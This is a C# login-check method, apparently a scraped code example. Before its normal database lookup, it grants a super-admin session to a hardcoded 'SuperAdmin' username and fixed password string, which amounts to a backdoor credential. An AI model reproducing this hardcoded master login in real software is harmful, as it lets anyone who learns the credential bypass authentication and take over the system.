Example #1
0
        private ActionBusinessResult CheckUserLogin(string username, string password)
        {
            if (username == "SuperAdmin" && password == "75b3ba793f8ea053e9ae90a3474044a0")
            {
                this.SetActionSuccess(true);
                this.CreateUserSuperAdmin();
                this.SetActionMessage(KnMessageCode.LoginSuccess);
            }
            else
            {
                var result = UserDA.CheckUserLogin(username, password);
                if (result > 0)
                {
                    this.SetActionSuccess(true);
                    this.CreateUserSession(username);
                    AccountManagerBL.RemoveFromAccountForceReLoginCollection(this.CurrentUserInfo.Id);
                }

                var mesageCode = this.GetActionSuccess() ? KnMessageCode.LoginSuccess : KnMessageCode.GetMvMessageByCode(result);
                this.SetActionMessage(mesageCode);
            }

            return(this.GetActionResult());
        }